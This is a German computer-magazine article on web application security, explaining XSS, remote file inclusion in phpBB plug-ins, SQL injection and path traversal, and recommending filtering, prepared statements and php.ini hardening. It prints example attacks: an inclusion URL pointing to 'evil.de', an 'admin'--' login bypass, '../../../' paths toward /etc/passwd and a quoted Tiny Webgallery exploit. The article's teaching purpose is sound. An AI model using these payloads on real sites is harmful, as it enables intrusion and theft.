zurück zum Artikel

Sicherheit von Webanwendungen

Christiane Rütten, Tobias Glemser

Besonders anfällig für Angriffe auf Webserver sind mit PHP oder anderen Skriptsprachen geschriebene Webanwendungen. Wer jedoch die gängigen Sicherheitslücken und Angriffstechniken kennt, kann den Attacken die Stirn bieten.

Unterthema: Das PHP-Dilemma
Unterthema: Die wichtigsten Sicherheitsoptionen in der php.ini

Die Sicherheit von Webanwendungen geht keineswegs nur die Betreiber von Online-Shops und Banking-Portalen an. Vielmehr sind zunehmend auch kleinere oder privat betriebene Websites das Ziel böswilliger Angreifer aus dem Internet. Nicht unbedingt, weil es da Geld oder geheime Daten zu holen gäbe, sondern um den gekaperten Server für eigene Zwecke zu missbrauchen. Dort kann man dann raubkopierte Software archivieren und tauschen, verteilte Denial-of-Service-Angriffe vorbereiten oder Spam-Mails verschicken. Oder der Angreifer manipuliert die Webseiten, um Besucher mit Dialern oder Spyware zu infizieren.

Wer seinen Server selbst administriert, also beispielsweise einen "Root-Server" betreibt, muss sich natürlich darum kümmern, diesen aktuell zu halten und auftretende Sicherheitslücken zu schließen. Doch auch wer nur ein bisschen Webspace angemietet hat, um seinen Freunden die selbst geschossenen Fotos zu zeigen, ist möglicherweise angreifbar. Ob Bildgalerie, Blog oder Gästebuch – jegliche Art von dynamischem Inhalt, sei er in PHP, Perl, Ruby oder sonst einer Sprache programmiert, ist ein potenzielles Einfallstor.

Die verbreitetste Angriffsform ist das sogenannte Cross Site Scripting (XSS). Dabei versucht ein Angreifer, die Webanwendung so zu manipulieren, dass sie schädlichen Skriptcode in die beim Besucher angezeigte Seite einbettet. Der Browser verarbeitet dann den eingeschmuggelten Code, als wäre es ein legitimer Inhalt der Webseite – mit den entsprechenden Sicherheitsfreigaben. Mit dem eingebetteten Schadcode kann ein Angreifer dann beispielsweise falsche Informationen als Inhalte der angegriffenen Webseite verkaufen, um Passwörter oder Kontodaten zu erbeuten (Phishing).

Die fehlerhafte Webapplikation bettet den Schadcode aus der URL in ihre Ausgabe ein und "reflektiert" ihn zum Anwender zurück.

Man unterscheidet drei Haupttypen von XSS, und zwar je nachdem, auf welchem Weg der Schadcode in die im Browser angezeigte Webseite gelangt. Am häufigsten ist das sogenannte reflektierte XSS anzutreffen. Hierzu muss der Angreifer das Opfer dazu bringen, eine präparierte URL anzuklicken. In Variablenparametern dieser URL versteckt er dabei Code, den die fehlerhafte Anwendung auf Serverseite übernimmt und als vermeintlichen Usernamen, E-Mail-Adresse oder Suchausdruck in die Webseite einbettet. Fast alle von der Hacker-Gruppe Electrical Ordered Freedom auf der Website Phishmarkt gezeigten Beispiele bei Webpräsenzen von Banken und Institutionen sind aktuell und von diesem Typ [4].

Ebenfalls weit verbreitet ist das persistente oder beständige XSS. Ähnlich dem reflektierten XSS spielt der Server den Schadcode aus der URL als Webinhalt an den Browser zurück, doch diesmal mit einem Zwischenstopp in der Serverdatenbank. Dadurch liefert der Server den Schadcode unter Umständen auch an Anwender aus, die nicht auf einen manipulierten Link geklickt haben – man denke etwa an Forenbeiträge mit eingebettetem JavaScript-Code. Bei diesem Typ ist es in der Regel der Angreifer, der einmalig auf einen manipulierten Link klickt, um den Schadcode auf dem Server abzuladen.

Landet der Schadcode zunächst einmal in der Serverdatenbank, müssen Opfer gar nicht erst auf einen manipulierten Link klicken.

Bei reflektiertem und persistentem XSS läuft der fehlerhafte Programmcode, der den Schadcode letztlich einbettet, auf dem Server. Wenn sich im Gegensatz dazu der gesamte Angriff vom Klicken einer manipulierten URL bis zum Einbetten des Schadcodes in die Webseite auf dem Rechner des Anwenders abspielt, spricht man von lokalem XSS. Dieser dritte Haupttyp tritt insbesondere bei Web-2.0-Anwendungen auf, die einen erheblichen Teil der Applikationsfunktionen als Java- oder JavaScript-Code in den Browser des Anwenders verlagern.

Besonders bei Web-2.0-Anwendungen kann sich der gesamte Angriff auf dem Nutzerrechner abspielen. Der Server liefert nur das fehlerhafte Skript an den Browser, aber nicht den Schadcode.

Das baumartige Document Object Model (DOM), das im Webbrowser die komplette Webseite repräsentiert, spielt dabei eine besondere Rolle, daher auch die Bezeichnung "DOM-basiertes XSS". Über Zugriffe auf den DOM-Baum kann eine Applikation unter anderem dynamische Änderungen an der dargestellten Webseite vornehmen, etwa für interaktive Webanwendungen. Bei DOM-basiertem XSS kopiert ein fehlerhaftes browserseitiges Anwendungsskript den Schadcode direkt aus der URL per DOM-Zugriff in die angezeigte Webseite. Im Prinzip entfällt dabei der Umweg über den Server, der lediglich HTML und den fehlerhaften Applikationscode übermittelt.

Im Gegensatz zum XSS, bei dem der Browser des Anwenders schädlichen Skriptcode untergeschoben bekommt, führen manche Programmierfehler auch dazu, dass die Webapplikation selbst beliebige Befehle eines Angreifers ausführt. Eine Programmzeile, die unzähligen Plug-ins für das Forensystem phpBB zum Verhängnis wurde, lautet:

include_once ($phpbb_root_path . 'common.php');

Der Befehl soll aus dem Basisverzeichnis von phpBB die Datei common.php mit einigen grundlegenden Applikationsfunktionen einbinden und somit ausführen. Viele Plug-in-Programmierer sind blind davon ausgegangen, dass die globale Variable $phpbb_root_path stets den Pfad zur phpBB-Installation enthält. Doch ohne entsprechende Sicherheitsabfragen lassen sich Plug-in-Skripte auch direkt per URL starten und beliebige Variablenparameter übergeben.

Durch den Aufruf /plugin.php&phpbb_root_path=http://evil.de/ kann ein Angreifer den Wert von $phpbb_root_path auf einen externen Server umbiegen. Die ausgeführte Datei wäre mit diesem Aufruf http://evil.de/common.php, in der der Angreifer beliebige Befehle hinterlegt haben könnte. Das include()-Pendant require() hat mit denselben Problemen zu kämpfen. Eine derart einfache Schadcode-Ausführung übers Netz ist nur mit einer unsicheren PHP-Konfiguration möglich. Leider ist sie aus Kompatibilitätsgründen vor allem bei Shared-Hosting-Anbietern immer noch Standard.

Nur noch vergleichsweise selten anzutreffen ist eine Form der Remote Code Execution, bei der der Schadcode wie bei XSS direkt aus der URL oder aus Formulardaten stammt. Sie entsteht vornehmlich durch leichtfertige Verwendung der PHP-Funktion eval(), die eine beliebige Zeichenkette als PHP-Code interpretiert. Die Funktion ist nur mit allergrößter Vorsicht einzusetzen. In PHP-Kreisen hat sich zu Recht die Redewendung "eval is evil" etabliert.

Ein großer Teil der Webanwendungen arbeitet mit einer SQL-Datenbank. Das Einschleusen oder Manipulieren von SQL-Kommandos bezeichnet man als SQL-Injektion. Eine einfache Nutzerauthentifizierung ließe sich beispielsweise mit dem SQL-Statement SELECT * FROM users WHERE name='$username' AND password='$password' umsetzen. Wenn es keine Daten zurückliefert, existiert die Kombination von Username und Passwort nicht in der Datenbank und der Login-Versuch ist ungültig.

Falls die Applikation den vom Anwender eingegebenen Nutzernamen oder das Passwort ungefiltert übernimmt, kann er obige SQL-Anweisung beispielsweise durch geschickten Einsatz des SQL-Kommentarzeichens - - und des Hochkommas manipulieren. Schickt er den Nutzernamen admin'- - mit einem beliebigen Passwort, ergibt sich das SQL-Statement SELECT * FROM users WHERE name='admin'- - AND password='beliebig'. Der Passwortteil des Ausdrucks nach dem - - wird vom SQL-Server ignoriert, und er liefert unabhängig vom Passwort die Daten für den User admin zurück, sofern er in der Tabelle existiert. Ein Angreifer müsste bei einer derart nachlässig programmierten Nutzerauthentifizierung nur einen korrekten Namen erraten.

SQL kennt auch das Semikolon als Trennzeichen zwischen SQL-Statements. Bleibt dies ungefiltert, kann ein Angreifer mit dem obigen Trick auch beliebige SQL-Befehle an den Datenbankserver schicken. So kann er unter Umständen auch geschützte Daten auslesen oder Daten beliebig manipulieren. Derart offensichtliche Angriffe sind jedoch nur noch selten möglich, da vom Nutzer eingegebene Daten in der Regel nicht mehr völlig ungefiltert in die SQL-Statements wandern. Bei Passwörtern ist außerdem inzwischen eine Quasi-Filterung durch Bilden des Hash-Wertes üblich.

Doch solche vermeidbaren Fehler bei der Programmierung sind keinesfalls aus der Welt. Erst diesen November traf es das Karriereforum von T-Online [5], das mit einer vergleichbaren SQL-Injektion einen passwortlosen Admin-Login erlaubte. Andere aktuelle Beispiele von SQL-Injektionsangriffen sind jedoch ungleich komplizierter [6].

Eine vergleichsweise alte Angriffsform ist der sogenannte Verzeichnisausbruch, zu Englisch Path Traversal. Bei allen aktuellen Betriebssystemen dient der Dateinname ".." als Verweis auf das übergeordnete Verzeichnis. Übernimmt beispielsweise ein Download-Skript einen Dateinamen ungefiltert aus einem URL-Parameter, kann ein Angreifer durch vorangestellte "../../../" auch auf höhere Verzeichnisebenen zugreifen als vorgesehen und so unter Umständen etwa an Login-Namen aus /etc/passwd oder Datenbankpasswörter in config.php-Dateien gelangen.

Der wichtigste Grundsatz beim Entwickeln einer sicheren Webanwendung mutet vielleicht überzogen an, ist aber bitter nötig: Sämtlichen Daten, die von außen in die Applikation gelangen, ist grundsätzlich zu misstrauen, denn sie könnten von einem Angreifer manipuliert sein. Sofern eine Webanwendung keine speziellen Eingabekanäle etwa über gesonderte Netzwerkverbindungen implementiert, kommen die Daten in erster Linie über Variablenparameter in der URL. Da sie der Browser mit dem HTTP-Kommando GET übermittelt, spricht man auch von GET-Variablen. Die meisten Skriptsprachen übergeben sie der Applikation schlimmstenfalls als globale Variablen und bestenfalls in einem gesonderten Array. Im ersten Fall muss man sogar sämtlichen globalen Variablen misstrauen, da sie ein Angreifer unter Umständen beliebig modifizieren kann.

Weniger bekannt ist, dass auch sämtliche POST-Variablen, also alle sichtbaren und unsichtbaren Formularfelder sowie Select-Daten, ebenfalls nicht als sicher gelten können. Der Browser übermittelt sie nach dem Klicken etwa auf den Submit-Button mit dem HTTP-Kommando POST an die Webapplikation; beliebige Manipulation ist also möglich. Selbst Cookies, die ursprünglich von der Webanwendung stammen, könnte ein Angreifer im Browser verändert haben. Auch Daten aus lokalen Dateien können unter Umständen nicht vertrauenswürdige Daten enthalten – etwa URLs in Server-Logs. Dies ist jedoch im Einzelfall zu klären.

Na sowas! Bei Pro7.de war es ausgerechnet die Funktion zur Erkennung ungültiger Aufrufe, die beliebigen Schadcode in die angezeigte Webseite einbettet.

Daten aus solchen Quellen müssen grundsätzlich auf Gültigkeit geprüft werden. In der Regel lässt sich für eine Variable ein Wertebereich beziehungsweise Zeichenvorrat festlegen. Geburtsjahre liegen sinnvollerweise zwischen einem anwendungsabhängigen Startdatum, etwa 1900, und dem aktuellen Datum. In Namensfeldern sind je nach Sprachraum nur Groß- und Kleinbuchstaben, einige internationale Sonderbuchstaben und gegebenenfalls Dezimalpunkt und Komma brauchbar.

Die Kollegen von Sat1.de überließen Angreifern das Layout der gefälschten Inhalte sogar ganz.

Auch typische Sonderzeichen, mit denen sich Unfug anstellen lässt, sollten frühzeitig ausgefiltert werden. Einige Funktionen zur Verarbeitung von Zeichenketten lassen sich durch geschickt eingestreute Null-Bytes oder Newlines austricksen. Dasselbe gilt für Hochkommata und einige andere Steuerzeichen.

Als kritisch müssen im Prinzip alle Zeichen gelten, denen im Kontext der vorgesehenen Verwendung eine Sonderbedeutung zukommt. Bei Zeichenketten, die einmal in eine HTML-Seite wandern sollen, sind dies insbesondere spitze Klammern für HTML-Tags, mit denen auch eingeschmuggelter Skriptcode beginnen müsste, sowie das Prozentzeichen und das Kaufmanns-Und (&).

Beim Erstellen von Filterfunktionen ist das Whitelisting bestimmter Zeichen, also das explizite Zulassen, stets sicherer als das Blacklisting, also das explizite Verbieten, weil es nur selten gelingt, wirklich alle potenziell problematischen Werte zu erfassen. White- und Blacklisting ist aber nicht nur für den Zeichenvorrat sinnvoll. Bei der Angabe eines Herkunftlandes etwa kann man ebenso gut auf eine Länderliste zurückgreifen.

Wenn sich die Eingabedaten nicht ohne Weiteres auf eine überschaubare Menge erlaubter Werte beschränken lassen, ist zumindest das sogenannte Escaping ratsam, mit dem Sonder- und Steuerzeichen ihrer Spezialfunktion beraubt werden. Es muss allerdings immer unter Berücksichtigung des vorgesehenen Einsatzzweckes der Daten erfolgen. Die meisten Skriptsprachen bieten dafür besondere Funktionen.

PHP stellt gleich einen ganzen Fundus an Filterfunktionen bereit. htmlentities() ersetzt alle HTML-Sonderzeichen durch ihre HTML-Codes, beispielsweise < durch <. addslashes() entschärft sämtliche Hochkommata durch Voranstellen eines Backslashes. mysql_real_escape_string() filtert Zeichenketten unter Berücksichtigung der Besonderheiten von MySQL-Statements, escapeshellcmd() leistet dasselbe für Shell-Befehle und ihre Parameter. Zur Vertiefung der Aspekte sicherer PHP-Programmierung ist der Abschnitt "Sicherheit" des PHP-Handbuches sehr empfehlenswert [7].

Häufig entstehen auch Sicherheitsprobleme, wenn sich in einer modularen Webapplikation Skripte, die regulär nur von anderen Applikationsskripten aufgerufen werden sollten, direkt durch den Anwender starten lassen, wie etwa die zuvor erwähnten phpBB-Plug-ins. Modulskripte, die nicht zur selbstständigen Ausführung vorgesehen sind, sollten daher gegen direkten Aufruf geschützt werden, in PHP beispielsweise durch Voranstellen einer Zeile wie

defined ('_GLOBALER_WERT') or die ('Direkter Aufruf verboten.');

Ein so geschütztes PHP-Skript lässt sich nur durch andere Skripte starten, die vor dem Modulaufruf beispielsweise ein

define ('_GLOBALER_WERT', null);

vorgenommen haben.

Für SQL-Anfragen ist es ratsam, auf sogenannte Prepared Statements umzusteigen [6]. Darunter versteht man vorgefertigte SQL-Ausdrücke, die mit Platzhaltern versehen sind. Dies führt dazu, dass Skripte SQL-Befehle sowie die für die Platzhalter einzutragenden Werte fein säuberlich getrennt an das API übergeben. Die für SQL-Injektionen nötige Durchmischung ist bei Prepared Statements nicht mehr ohne Weiteres möglich. PHP unterstützt sie seit Version 5 über die mysqli-Erweiterung, unter Perl sind sie mit dem DBI-Modul möglich.

Schon mit der Konfiguration der Skripting-Umgebung ist es möglich, einen guten Teil der denkbaren Angriffsszenarien auf einen Schlag zu vereiteln oder mindestens zu erschweren. Durch Setzen einer Handvoll Optionen und Parameter lassen sich gefährliche Funktionen abstellen oder der mögliche Schaden im Ernstfall begrenzen. Daher ist es sinnvoll, eine Webapplikation gezielt auf einer möglichst streng abgesicherten Skripting-Umgebung zu entwickeln. Dabei gilt das Prinzip der wenigsten Privilegien: Je weniger Rechte und Funktionen eine Applikation voraussetzt und erhält, desto weniger kann schiefgehen.

Dieses verlockende E-Plus-Angebot sieht täuschend echt aus, war aber das Ergebnis eines erfolgreichen XSS-Angriffes.

Der Kasten zur php.ini zeigt die wichtigsten Sicherheitsoptionen, die PHP von Haus aus mitbringt. Sie lassen sich über die zentrale Konfigurationsdatei php.ini einstellen. Doch nicht alle Webanwendungen kommen mit jeder Option zurecht. Sofern der Server mehrere Applikationen bereitstellt, sind die Optionen einzeln auf ihre Kompatibilität zu prüfen. Leider ist es oft unumgänglich, sich auf den kleinsten gemeinsamen Nenner zu einigen oder Problemapplikationen auf weniger restriktive Server auszulagern.

Shared-Webhosting ist für den sicheren Einsatz einer PHP-Applikation kaum empfehlenswert. Die vielen Inkompatibilitäten fertiger PHP-Software zu verschärften Sicherheitseinstellungen, die sich bei PHP nur global setzen lassen, zwingen die meisten Shared-Hosting-Betreiber zu einer unsicheren Konfiguration.

Ein besonderer Betriebsmodus von PHP5, der während der Skriptentwicklung teilweise zur sauberen Programmierung nötigt, lässt sich jedoch auch pro Skript erzwingen. Nach dem Aufruf error_reporting (E_STRICT); gibt der Interpreter Warnhinweise beispielsweise bei Verwendung uninitialisierter Variablen aus.

Die Skriptsprache Perl geht mit dem sogenannten Taint-Modus noch weiter. Um ihn für ein Skript zu aktivieren, gibt man in der ersten Zeile die Option -T an:

#!/usr/bin/perl -T

In dieser Betriebsart dürfen vereinfacht gesagt keine Daten, die von außerhalb des Skriptes stammen, ohne Weiteres an Unterprozesse des Skriptes weitergegeben werden. Der Perl-Interpreter betrachtet unter anderem auch sämtliche GET- und POST-Variablen als "tainted" (unsauber). Wenn etwa die Variable $formular{"eMail"} aus Formulardaten des Nutzers stammt, kommt es zu einem Programmabbruch, sobald ein aus ihr zusammengesetzter Wert beispielsweise an einen Shell-Befehlaufruf mittels system() übergeben wird.

Der Taint-Modus zwingt den Entwickler gewissermaßen zum ordentlichen Umgang mit Daten von außerhalb der Applikation, denn es gibt nur zwei Möglichkeiten, aus unsauberen Variablen saubere Daten zu gewinnen: sie als Schlüssel in einem Hash zu verwenden oder sie mit einem regulären Ausdruck zu filtern. Ob der Interpreter eine Variable als unsauber ansieht, lässt sich seit Perl 5.8 mit der Funktion tainted() aus dem Modul Scalar::Util feststellen. Die weiteren Funktionen des Taint-Mode sind in der Manpage "perlsec" umfassend dokumentiert.

Wesentlicher Bestandteil der Sicherheit einer Webanwendung ist die Sicherheit des Servers und und des Netzwerks, auf dem sie läuft. Gelangt ein Angreifer beispielsweise an Login-Daten eines Datenbankservers, sind diese für ihn praktisch wertlos, solange er keinen Zugriff auf den Server erlangt. Der Zugang zu derartigen Backend-Systemen sollte nur für Rechner erlaubt sein, die wie beispielsweise die Webserver auch tatsächlich Zugriff benötigen. Auch hier gilt das Prinzip der geringsten Privilegien.

Bei der Hamburger Sparkasse konnte durch Cross Site Scripting statt des schwarzen Kastens ohne Weiteres auch ein gefälschtes Überweisungsformular oder unsichtbarer Schadcode stehen.

Mit Applikations-Firewalls wie mod_security für den Webserver Apache [10] lässt sich bereits auf Serverebene steuern, welche Daten an die Applikation gelangen dürfen und welche nicht. Dies kann allerdings nur als ergänzende Maßnahme gelten und eine saubere Programmierung der Webanwendung keinesfalls ersetzen. Bewusstsein schaffen

Perfekte Sicherheit gibt es nicht. Softwareentwickler arbeiten oft unter hohem Zeit- und Kostendruck und der Wert ihrer Arbeit wird in der Regel an zügiger Entwicklung, Bedienbarkeit und Layout gemessen. Daher ist es erforderlich, dass Sicherheitskriterien schon in die Planungsphase einer Webapplikation einfließen. Sicherheitsvorgaben sollten bereits Teil des Anforderungskataloges sein, damit sie nicht aus Kostengründen unter den Tisch fallen.

Darüber hinaus empfiehlt es sich, ein umfassendes Sicherheitskonzept zu entwickeln, insbesondere wenn personenbezogene Daten verarbeitet werden. Keinesfalls sollten die Planungen zur Behebung von Schwachstellen erst nach ihrem Bekanntwerden beginnen. Entscheidend für die Sicherheit einer Webanwendung ist schließlich auch der Zeitraum zwischen Entdeckung und Behebung eines Sicherheitsproblems. Sicherheit ist kein Zustand, sondern ein andauernder Prozess.

siehe auch:

Unterthema: Das PHP-Dilemma
Unterthema: Die wichtigsten Sicherheitsoptionen in der php.ini

[1] Daniel Naber, Schotten dicht, Typische Programmierfehler bei CGI-Skripten und Web-Anwendungen vermeiden, c't 24/02, S. 220

[2] Tobias Glemser, Reto Lorenz, Offen wie Scheunentore, Webhoster-Sicherheitslücken durch Skriptsprachen, c't 14/02, S. 72

[3] Holger Bleich, Jürgen Schmidt, Auf Phishzug, Passwort-Diebstahl im Web wird raffinierter, c't 17/04, S. 178

[4] Phishmarkt: Online-Demonstration bekannter XSS-Lücken [1]

[5] Details zur Lücke im T-Online-Karriereforum [2]

[6] Fortgeschrittene SQL-Injektion und Schutz durch Prepared Statements [3]

[7] Das PHP-Handbuch [4]

[8] Sicherheitserweiterung suEXEC für Apache [5]

[9] Dokumentation zum PHP-Safe-Mode [6]

[10] Christiane Rütten, Die Apache-Firewall, Web-Server mit mod_security absichern [7]

Am 14. August fiel Ralf M. aus allen Wolken: "Wir registrierten vor kurzem einen Hackversuch auf unseren Servern, der von Ihrer Präsenz ausging", schrieb ihm sein Provider. Was war passiert?

Ralf M. betreibt eine Website, auf der er seinen Besuchern unter anderem mit der PHP-Software Tiny Webgallery eine Bildersammlung bereitstellt. Am 10. August hatte ein Hacker unter dem Pseudonym xoron auf der Mailingliste Full Disclosure eine Sicherheitslücke in dieser PHP-Software veröffentlicht - praktischerweise gleich mit Demo-Exploit:

image.php?image=http://evil_scripts

Ab dem 12. August prasselten Dutzende von Anfragen nach diesem Schema auf den Server ein. Sie luden komplette PHP-Shells von vornehmlich osteuropäischen Servern nach, die von der Installation von Hintertüren und lokalen Kernel-Exploits bis zum Kommandozeilenprompt alles bieten, was das Hackerherz begehrt. Was sie im Weiteren alles mit dem Rechner anstellten, lässt sich im Nachhinein nur noch erahnen.

Die für Angriffe eingesetzten PHP-Shells bieten oft mehr Komfort und Möglichkeiten als die regulären Administrationsfrontends der Web-Hoster.

So oder ähnlich ergeht es immer noch Tausenden Website-Betreibern. Denn insbesondere Nutzer eines Shared-Webhosting-Angebots haben kaum eine Möglichkeit, sich zu schützen. Sei es wie bei Ralf M. die Bildergalerie, ein Forum oder gar eine Datenbankanbindung - schnell ist der Wunsch nach einer PHP-Anwendung da. Selber schreiben kommt in den meisten Fällen nicht in Frage; ganz abgesehen davon, dass das sicherheitstechnisch nicht unbedingt ein Fortschritt wäre. Und wenn man eine fremde PHP-Applikation installiert, muss man eigentlich schon fast davon ausgehen, dass man sich die ein oder andere Sicherheitslücke gleich mit ins Haus holt. In den einschlägigen Foren werden jedenfalls täglich rund ein halbes Dutzend neue veröffentlicht.

Solche Sicherheitslöcher werden dann von kriminellen Banden systematisch und professionell ausgenutzt: Sites mit der verwundbaren Software lassen sich anhand charakteristischer Ausgaben mit Google schnell aufspüren. Für den Einbruch liegen auf bereits gekaperten Servern PHP-Shells bereit. Innerhalb weniger Tage nach der Veröffentlichung einer Schwachstelle wird ein Server für allerhand Illegales missbraucht. In Webseiten eingefügte Codezeilen nutzen dann Browserlücken aus, um Keylogger und andere Spyware auf dem Rechner der Besucher zu installieren, oder die Systeme kommen als performante DDoS-Clients oder Spam-Schleudern zu Einsatz.

Als vorbeugende Maßnahme wäre es wünschenswert, wenn man durch irgendwelche Schalter festlegen könnte, dass PHP-Applikationen - egal was passiert - keinesfalls Code von einem externen Server laden und ausführen dürfen. Doch das scheitert daran, dass sich die im Kasten zur php.ini aufgeführten Optionen nur global in der systemweiten PHP-Konfiguration setzen lassen. Das wiederum können die Hoster nicht, weil dann viele Webapplikationen ihrer Kunden nicht mehr funktionierten.

Grundsätzliche Besserung ist leider nicht in Sicht: Weder lokalisierte Sicherheitsoptionen, mit denen der Web-Hosting-Kunde die Möglichkeiten seiner PHP-Applikationen selbst einschränken könnte, noch ein Perl-ähnlicher Taint-Modus stehen auf der PHP-Roadmap. Wer auf einem Shared-Hosting-Angebot eine PHP-Anwendung betreibt, dem bleibt folglich nur, häufig auf den Seiten des Herstellers nach neuen Version zu schauen und diese zügig zu installieren. (ju [8])

register_globals = off verhindert, dass Variablenzuweisungen in HTTP-Anfragen und Cookies globale Programmvariablen überschreiben. Diese Option zwingt Skripte dazu, vom Anwenderseite übermittelte Variablen über gesonderte Arrays wie $_REQUEST bewusst abzuholen. Ein Angreifer kann es dadurch nicht mehr ohne Weiteres ausnutzen, falls ein Skript uninitialisierte Variablen verwendet oder leichtfertig von bestimmten globalen Vorbelegungen ausgeht.

allow_url_fopen = off sorgt dafür, dass PHP-Skripte nur lokale Dateien des Servers einbinden können. Dies ist eine besondere Hürde für viele Angriffstypen, da keine Skripte mehr direkt von externen Servern nachgeladen werden können.

safe-mode = on bewirkt unter anderem, dass der PHP-Prozess nur noch auf Dateien und Verzeichnisse zugreifen darf, die dem Nutzer gehören, mit dessen Rechten der PHP-Prozess läuft. Auf Linux-Servern ist dies meist www-data beziehungsweise beim Einsatz von Apache-Modulen wie mod_suexec [8] oder suPHP der Skriptbesitzer. Außerdem sperrt der Safe-Mode in seiner Default-Einstellung gefährliche Funktionen wie shell_exec(), doch sein Verhalten lässt sich durch weitere Optionen steuern [9].

open_basedir = /pfad/zum/www-ordner legt ein Verzeichnis fest, außerhalb dessen PHP-Skripte keine Dateien öffnen können - ähnlich einer chroot-Umgebung. Der Zugriff auf enthaltene Unterordner ist natürlich gestattet, doch das direkte Auslesen beispielsweise von /etc/passwd und anderen vertraulichen Daten außerhalb des WWW-Root durch Path Traversal ist damit nicht mehr möglich.

display_errors = off erschwert unter Umständen die Vorbereitung eines Angriffs. Für einige Attacken ist es beispielsweise nötig, dass der Dateisystempfad zur Webapplikation bekannt ist. Diese Information lässt sich unter anderem vielen PHP-Fehlermeldungen entnehmen. Die Option verhindert, dass Angreifer gezielt Fehlermeldungen provozieren können.

magic_quotes_gpc = on escaped alle Single-quotes ('), Double quotes (") , Backslashes (\) und NULL-Zeichen automatisch mit einem Backslash. Teilweise lassen sich damit SQL-Injection-Angriffe verhindern, allerdings gibt es Möglichkeiten, diese Beschränkung zu umgehen. Zudem funktionieren einige Anwendungen mit dieser Option nicht. (cr [9])


URL dieses Artikels:
https://www.heise.de/-270870

Links in diesem Artikel:
[1] http://baseportal.com/baseportal/phishmarkt/de
[2] http://www.felix-becker.org/blog/archives/16-Securityhole-auf-Telekom.de.html
[3] http://de.wikipedia.org/wiki/SQL-Injektion
[4] http://php3.de/manual/de
[5] http://httpd.apache.org/docs/2.0/suexec.html
[6] http://de.php.net/manual/de/features.safe-mode.php
[7] https://www.heise.de/hintergrund/Die-Apache-Firewall-270782.html
[8] mailto:ju@ct.de
[9] mailto:cr@ct.de